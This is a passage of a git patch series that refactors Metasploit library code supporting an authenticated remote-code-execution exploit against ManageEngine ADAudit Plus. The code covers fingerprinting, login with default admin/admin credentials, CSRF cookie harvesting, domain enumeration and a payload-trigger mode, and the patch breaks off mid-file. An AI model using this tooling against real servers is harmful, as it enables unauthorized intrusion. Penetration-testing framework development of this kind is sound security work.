@@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login 'vars_post' => post_vars }) + # Check to see if the connection succeeded. + return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res_login + if mode == 'trigger_payload' - # if we're only here to trigger the payload, we should only verify the response code and HTTP title + # If we're only here to trigger the payload, we should only verify the response code and HTTP title. if res_login if res_login.code == 200 && res_login.body =~ /<title>ADAudit Plus/ print_status("Trigger attempt completed. Let's hope we get a shell...") @@ -88,17 +91,16 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login print_error(trigger_attempt_fail_message) end - # we don't need to return a message or cookie here so let's set these to empty strings + # We don't need to return a message or cookie here so let's set these to empty strings. return [adaudit_plus_status::SUCCESS, '', ''] end - return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res_login - + # Check to see if we got the right response code if the mode was not trigger_payload. unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') return [adaudit_plus_status::NO_ACCESS, 'Failed to authenticate.'] end - # check if we are actually logged in by visiting the home page + # Check if we are actually logged in by visiting the home page. res_post_auth = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', @@ -111,14 +113,15 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login return [adaudit_plus_status::NO_ACCESS, 'The web app failed to load after authenticating'] end - # return the value of the adapcsrf cookie, which will be required for later actions + # Return the value of the adapcsrf cookie, which will be required for later actions. adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? return [adaudit_plus_status::NO_ACCESS, 'Failed to obtain the required adapcsrf cookie'] end - # In order to get a cookie we can actually use, we now need to obtain the configured domains via the api - # the adaudit_plus_obtain_configured_domains uses the same return format as this method + # In order to get a cookie we can actually use, we need to obtain the configured domains via the API, + # so we will call adaudit_plus_grab_configured_domains to retreive this information for us. + # Note that adaudit_plus_obtain_configured_domains uses the same return format as this method. adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, mode) end end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb index a3d59d57ec..762bfc7939 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb @@ -12,11 +12,12 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo }) return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res - unless res.code == 200 && res.body =~ /<title>ADAudit Plus/ - return [adaudit_plus_status::UNEXPECTED_REPLY, 'The target does not appear to be MangeEngine ADAudit Plus'] + + if res.code == 200 && res.body =~ /<title>ADAudit Plus/ + [adaudit_plus_status::SUCCESS, 'The target appears to be MangeEngine ADAudit Plus', res] + else + [adaudit_plus_status::UNEXPECTED_REPLY, 'The target does not appear to be MangeEngine ADAudit Plus'] end - - [adaudit_plus_status::SUCCESS, 'The target appears to be MangeEngine ADAudit Plus', res] end # Extract the configured aliases for configured active directory domains from an HTTP response body @@ -44,7 +45,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo 'keep_cookies' => true, 'vars_post' => { 'JSONString' => '{"checkGDPR":true}', - 'adapcsrf' => adapcsrf_cookie + 'adapcsrf' => adapcsrf_cookie.to_s } }) unless res @@ -95,7 +96,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo # Check the build number for the ADAudit Plus installation # - # @param adapcsrf_cookie [String] A valid adapcsrf_cookie for api calls, can be obtained via the adaudit_plus_login method in login.rb + # @param adapcsrf_cookie [String] A valid adapcsrf_cookie for API calls. Can be obtained via the adaudit_plus_login method in login.rb. # @return [Array] Array containing a status code (Integer) and status message (String). If the build number is obtained, the Array also contains a Reg::Version object. def adaudit_plus_grab_build(adapcsrf_cookie) vprint_status('Attempting to obtain the ADAudit Plus build number') @@ -104,7 +105,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo 'uri' => adaudit_plus_license_details_uri, 'method' => 'POST', 'keep_cookies' => true, - 'vars_post' => { 'adapcsrf' => adapcsrf_cookie } + 'vars_post' => { 'adapcsrf' => adapcsrf_cookie.to_s } }) return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res @@ -112,7 +113,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo return [adaudit_plus_status::UNEXPECTED_REPLY, "Received unexpected HTTP response #{res.code} when attempting to obtain the build number."] end - build = res.body.scan(/"buildNumber":"(.*?)",/)&.flatten&.first + build = res.body.scan(/"buildNumber":"(.+?)",/)&.flatten&.first return [adaudit_plus_status::NO_MATCH, 'No build number was obtained.'] if build.blank? begin diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb index 4fecf1b3f3..f10b2ea59e 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb @@ -1,38 +1,50 @@ # -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs - # Returns the URI for the GPOWatcherData endpoint + # Returns GPOWatcherData endpoint URI on the ManageEngine ADAudit Plus target. # - # @return [String] ManageEnginge ADAudit Plus GPOWatcherData endpoint URI + # @return [String] ManageEngine ADAudit Plus GPOWatcherData endpoint URI def adaudit_plus_gpo_watcher_data_uri normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData') end - # Returns the ManageEnginge ADAudit Plus Login URI + # Returns the Login URI on the ManageEngine ADAudit Plus target. # # @return [String] ManageEnginge ADAudit Plus Login URI def adaudit_plus_login_uri normalize_uri(target_uri.path, 'j_security_check') end - # Returns the ManageEnginge ADAudit Plus License Details URI + # Returns the License Details URI on the ManageEngine ADAudit Plus target. # - # @return [String] ManageEnginge ADAudit Plus License Details URI + # @return [String] ManageEngine ADAudit Plus License Details URI def adaudit_plus_license_details_uri normalize_uri(target_uri.path, 'api', 'json', 'tabs', 'showLicenseDetails') end + # Returns the JumpTo.js URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus JumpTo.js URI def adaudit_plus_jump_to_js_uri normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js') end + # Returns the configuredDomainsList URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus configuredDomainsList URI def adaudit_plus_configured_domains_uri normalize_uri(target_uri.path, 'api', 'json', 'configuredDomainsList') end + # Returns the jsMessage URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus jsMessage URI def adaudit_api_js_message_uri normalize_uri(target_uri.path, 'api', 'json', 'jsMessage') end + # Returns the URI to save alert profiles on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus URI to save alert profiles def adaudit_api_alertprofiles_save_uri normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save') end From a2cf29ab98351a4bdbf827fdc89386883e612135 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 18 Nov 2022 21:57:10 +0200 Subject: [PATCH 08/26] partial fixes after library code review --- .../remote/http/manage_engine_adaudit_plus.rb | 29 +++++++ .../json_post_data.rb | 28 +++--- .../login.rb | 34 ++++---- .../status_codes.rb | 15 ++++ .../target_info.rb | 87 ++++++++++--------- .../uris.rb | 3 +- .../remote/http/manageengine_adaudit_plus.rb | 40 --------- lib/rex/proto/ms_dtyp.rb | 3 + 8 files changed, 126 insertions(+), 113 deletions(-) create mode 100644 lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb rename lib/msf/core/exploit/remote/http/{manageengine_adaudit_plus => manage_engine_adaudit_plus}/json_post_data.rb (62%) rename lib/msf/core/exploit/remote/http/{manageengine_adaudit_plus => manage_engine_adaudit_plus}/login.rb (69%) create mode 100644 lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb rename lib/msf/core/exploit/remote/http/{manageengine_adaudit_plus => manage_engine_adaudit_plus}/target_info.rb (55%) rename lib/msf/core/exploit/remote/http/{manageengine_adaudit_plus => manage_engine_adaudit_plus}/uris.rb (96%) delete mode 100644 lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb new file mode 100644 index 0000000000..e5c193e304 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb @@ -0,0 +1,29 @@ +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with ManageEngine ADAudit Plus installations + module ManageEngineAdauditPlus + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEnginge ADAudit Plus application', '/']), + Msf::OptString.new('USERNAME', [false, 'Username to authenticate with', 'admin']), + Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with', 'admin']), + + ], Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus + ) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb similarity index 62% rename from lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb rename to lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb index 7266baad8c..748198ab47 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb @@ -1,38 +1,34 @@ # -*- coding: binary -*- -module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::JsonPostData + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData # Generates a JSON hash according to the format required by the GPOWatcherData endpoint # # @param options [Hash] Hash containing parameters to include in the JSON hash. The parameters can be Booleans, Strings and/or Integers - # @return [JSON] A JSON hash matching the format required by the GPOWatcherData endpoint + # @return [JSON] A JSON hash matching the format required by the GPOWatcherData endpoint. if the options param is invalid, an empty JSON hash is returned def generate_gpo_watcher_data_json(options) post_data = {} + return post_data.to_json unless options.is_a?(Hash) + post_data['isGPOData'] = options['isGPOData'] || true post_data['DOMAIN_NAME'] = options['DOMAIN_NAME'] || '' - post_data['GPO_GUID'] = options['GPO_GUID'] || generate_gpo_guid + post_data['GPO_GUID'] = options['GPO_GUID'] || Rex::Proto::MsDtyp::MsDtypGuid.random_generate post_data['GPO_VERSION'] = options['GPO_VERSION'] || rand(1..9) post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name post_data['xmlReport'] = options['xmlReport'] || '<?xml version="1.0" encoding="utf-16"?>' - + html_filename = options['Html_fileName'] post_data['Html_fileName'] = html_filename if html_filename - + html_report = options['htmlReport'] post_data['htmlReport'] = html_report if html_report - + post_data.to_json end - # Returns a String matching the standard format for GPO GUIDs + # Returns a String matching the VER_FILE_NAME format used by ADAudit Plus # - # @return [String] Randomly generated String matching the standard format for GPO GUIDs - def generate_gpo_guid - "{#{Rex::Text.rand_text_alphanumeric(8)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(12)}}".downcase - end - - # Returns a String matching the VER_FILE_NAME format used by ADAudit Plus - # - # @return [String] Randomly generated String matching the the VER_FILE_NAME format used by ADAudit Plus + # @return [String] Randomly generated String matching the the VER_FILE_NAME format used by ADAudit Plus def generate_ver_file_name - "#{rand(1..9)}_#{Rex::Text.rand_text_numeric(18)}".downcase + '.xml' + "#{rand(1..9)}_#{Rex::Text.rand_text_alphanumeric(18)}".downcase + '.xml' end end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb similarity index 69% rename from lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb rename to lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index 61daaaface..be69e03df4 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -1,7 +1,9 @@ # -*- coding: binary -*- -module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs # Performs a ManageEngine ADAudit Plus login. # @@ -9,8 +11,8 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login # @param auth_domain [String] The authentication domain to use to log in. # @param user [String] The username to log in as. # @param pass [String] The password to log in with. - # @return [Array] Array containing a a status code (Integer) and a status message (String). If login succeeds, will also contain a cookie (String), and an Array of configured domains as Strings as the third and fourth parameters respectively. - def adaudit_plus_login(mode, auth_domain, user='', pass='') + # @return [Hash] Hash containing keys of type String that are mapped to a status code (Integer), a status message (String), a cookie (String) and/or an Array of configured domains as Strings. + def adaudit_plus_login(mode, auth_domain, user = '', pass = '') cookie_jar.clear # let's start fresh if mode == 'trigger_payload' print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") @@ -27,11 +29,11 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login }) unless res_initial_cookies - return [adaudit_plus_status::CONNECTION_FAILED, "Connection failed.#{trigger_attempt_fail_message}"] + return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => "Connection failed.#{trigger_attempt_fail_message}" } end unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') - return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the baseline cookies needed to proceed with authentication.#{trigger_attempt_fail_message}"] + return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => "Failed to obtain the baseline cookies needed to proceed with authentication.#{trigger_attempt_fail_message}" } end # Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication. @@ -46,11 +48,11 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login }) unless res_extra_cookies - return [adaudit_plus_status::CONNECTION_FAILED, "Connection failed.#{trigger_attempt_fail_message}"] + return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => "Connection failed.#{trigger_attempt_fail_message}" } end unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ - return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the jump_to_js cookies required for authentication.#{trigger_attempt_fail_message}"] + return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => "Failed to obtain the jump_to_js cookies required for authentication.#{trigger_attempt_fail_message}" } end case mode @@ -76,7 +78,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login }) # Check to see if the connection succeeded. - return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res_login + return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed' } unless res_login if mode == 'trigger_payload' # If we're only here to trigger the payload, we should only verify the response code and HTTP title. @@ -91,13 +93,13 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login print_error(trigger_attempt_fail_message) end - # We don't need to return a message or cookie here so let's set these to empty strings. - return [adaudit_plus_status::SUCCESS, '', ''] + # We don't need to return a message or cookie here + return { 'status' => adaudit_plus_status::SUCCESS } end # Check to see if we got the right response code if the mode was not trigger_payload. unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') - return [adaudit_plus_status::NO_ACCESS, 'Failed to authenticate.'] + return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to authenticate.' } end # Check if we are actually logged in by visiting the home page. @@ -107,16 +109,16 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login 'keep_cookies' => true }) - return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res_post_auth + return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed' } unless res_post_auth unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing') - return [adaudit_plus_status::NO_ACCESS, 'The web app failed to load after authenticating'] + return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'The web app failed to load after authenticating' } end # Return the value of the adapcsrf cookie, which will be required for later actions. adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? - return [adaudit_plus_status::NO_ACCESS, 'Failed to obtain the required adapcsrf cookie'] + return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to obtain the required adapcsrf cookie' } end # In order to get a cookie we can actually use, we need to obtain the configured domains via the API, diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb new file mode 100644 index 0000000000..0bd51baed5 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb @@ -0,0 +1,15 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + SUCCESS = 0 + CONNECTION_FAILED = 1 + UNEXPECTED_REPLY = 2 + NO_MATCH = 3 + NO_ACCESS = 4 + + # Alias for Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + # @return [Module] Returns the Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes module reference. + def adaudit_plus_status + Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + end +end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb similarity index 55% rename from lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb rename to lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index 762bfc7939..609989a07a 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -1,6 +1,8 @@ # -*- coding: binary -*- -module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs # Check is a target is likely a ManageEngine ADAudit Plus app # @@ -12,7 +14,7 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo }) return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res - + if res.code == 200 && res.body =~ /<title>ADAudit Plus/ [adaudit_plus_status::SUCCESS, 'The target appears to be MangeEngine ADAudit Plus', res] else @@ -24,17 +26,21 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo # # @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path # @return [Array] Array containing a status code and status message. If AD domain aliases were found, the Array also contains an Array of Strings for the domain aliases - def adaudit_plus_grab_domain_aliases(res_body) - domain_aliases = res_body.scan(/<select id="domainName" name="domainName".*?<option value="(.*?)">/m)&.flatten - if domain_aliases.blank? || domain_aliases == ["ADAuditPlus Authentication"] - return [adaudit_plus_status::NO_MATCH, "No configured active directory domains were found."] + def adaudit_plus_grab_domain_aliases(res_body) + domain_aliases = res_body.scan(/<select id="domainName" name="domainName".*?<option value="(.*?)">/m)&.flatten + if domain_aliases.blank? || domain_aliases == ['ADAuditPlus Authentication'] + return [adaudit_plus_status::NO_MATCH, 'No configured active directory domains were found.'] end [adaudit_plus_status::SUCCESS, "Identified #{domain_aliases.length} configured domain alias(es): #{domain_aliases.join(', ')}", domain_aliases] end - - def adaudit_plus_grab_configured_domains(adapcsrf_cookie, mode) + # Performs an API call to obtain the configured domains. The adapcsrf cookie obtained from this request is necessary to perform further authenticated actions + # + # @param adapcsrf_cookie [String] A valid adapcsrf_cookie obtained via a successful login action + # @param mode [String] The mode for this method that determines when and what should be returned + # @return [Hash] Hash containing keys of type String that are mapped to a status code (Integer), a status message (String), a cookie (String) and/or an Array of configured domains as Strings. + def adaudit_plus_grab_configured_domains(adapcsrf_cookie, mode) if mode != 'silent' vprint_status('Attempting to obtain the list of configured domains...') end @@ -49,49 +55,50 @@ module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo } }) unless res - return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed while attempting to obtain the list of configured domains.'] + return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed while attempting to obtain the list of configured domains.' } end - + configured_domains = [] - if res.code == 200 && res.body.include?('domainFullList') - unless mode == 'silent' - begin - domain_info = JSON.parse(res.body) - if domain_info.blank? || !domain_info.include?('domainFullList') || domain_info['domainFullList'].empty? - print_warning('Failed to identify any configured domains.') - else - domain_full_list = domain_info['domainFullList'] - domain_full_list.each do |domain| - next unless domain.is_a?(Hash) && domain.key?('name') - domain_name = domain['name'] - next if domain_name.empty? - configured_domains << domain_name - end + if res.code == 200 && res.body.include?('domainFullList') && mode != 'silent' + begin + domain_info = JSON.parse(res.body) + if domain_info.blank? || !domain_info.include?('domainFullList') || domain_info['domainFullList'].empty? + print_warning('Failed to identify any configured domains.') + else + domain_full_list = domain_info['domainFullList'] + domain_full_list.each do |domain| + next unless domain.is_a?(Hash) && domain.key?('name') + + domain_name = domain['name'] + next if domain_name.empty? + + configured_domains << domain_name end - rescue JSON::ParserError => e - print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') - print_error("Error was: #{e.message}") end + rescue JSON::ParserError => e + print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') + print_error("Error was: #{e.message}") end end - - unless configured_domains.empty? - print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}") - end - # return the value of the adapcsrf cookie, which will be required for later actions - # we should try this even if we failed to identify any configured domains adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first - if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? - return [adaudit_plus_status::NO_ACCESS, 'Failed to obtain the required post-auth adapcsrf cookie', '', configured_domains] - end + got_cookie = adapcsrf_cookie && adapcsrf_cookie.value.present? ? true : false if configured_domains.empty? - return [adaudit_plus_status::NO_MATCH, 'Failed to obtain the list of configured domains.', adapcsrf_cookie.value] + if got_cookie + return { 'status' => adaudit_plus_status::NO_MATCH, 'message' => 'Failed to obtain the list of configured domains.', 'adapcsrf_cookie' => adapcsrf_cookie.value } + else + return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to obtain the required post-auth adapcsrf cookie' } + end end - # we don't need to return a message here, so let's return an empty string - [adaudit_plus_status::SUCCESS, '', adapcsrf_cookie.value, configured_domains] + print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}") + if got_cookie + # we don't need to return a message here + return { 'status' => adaudit_plus_status::SUCCESS, 'adapcsrf_cookie' => adapcsrf_cookie.value, 'configured_domains' => configured_domains } + else + return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to obtain the required post-auth adapcsrf cookie', 'configured_domains' => configured_domains } + end end # Check the build number for the ADAudit Plus installation diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb similarity index 96% rename from lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb rename to lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb index f10b2ea59e..5650cb5d55 100644 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- -module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs # Returns GPOWatcherData endpoint URI on the ManageEngine ADAudit Plus target. # # @return [String] ManageEngine ADAudit Plus GPOWatcherData endpoint URI diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb deleted file mode 100644 index accc542775..0000000000 --- a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb +++ /dev/null @@ -1,40 +0,0 @@ -module Msf - class Exploit - class Remote - module HTTP - # This module provides a way of interacting with ManageEngine ADAudit Plus installations - module ManageengineAdauditPlus - SUCCESS = 0 - CONNECTION_FAILED = 1 - UNEXPECTED_REPLY = 2 - NO_MATCH = 3 - NO_ACCESS = 4 - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::JsonPostData - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs - - def initialize(info = {}) - super - - register_options( - [ - Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEnginge ADAudit Plus application', '/']), - Msf::OptString.new('USERNAME', [false, 'Username to authenticate with', 'admin']), - Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with', 'admin']), - - ], Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus - ) - end - - # Alias for Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus - # @return [Module] Returns the Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus module reference. - def adaudit_plus_status - Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus - end - end - end - end - end -end diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index 430ea4525f..f9fde633a9 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -77,6 +77,9 @@ module Rex::Proto::MsDtyp # weirdly doesn't mention this needs to be 4 byte aligned for us to read it correctly, # which the RubySMB::Dcerpc::Uuid definition takes care of. class MsDtypGuid < RubySMB::Dcerpc::Uuid + def self.random_generate + "{#{Rex::Text.rand_text_alphanumeric(8)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(12)}}".downcase + end end # Definitions taken from [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586) From dd075d5c9947655d69f42e63d60db6cf21a2a3ba Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 2 Dec 2022 16:41:36 +0200 Subject: [PATCH 09/26] library improvements after code review, module update --- .../remote/http/manage_engine_adaudit_plus.rb | 1 + .../http/manage_engine_adaudit_plus/login.rb | 50 +++++------------ .../manage_engine_adaudit_plus/target_info.rb | 18 ++++--- ...geengine_adaudit_plus_authenticated_rce.rb | 54 +++++++++++-------- 4 files changed, 55 insertions(+), 68 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb index e5c193e304..3c6e919b44 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb @@ -7,6 +7,7 @@ module Msf include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index be69e03df4..bbbf3b6304 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb +++ 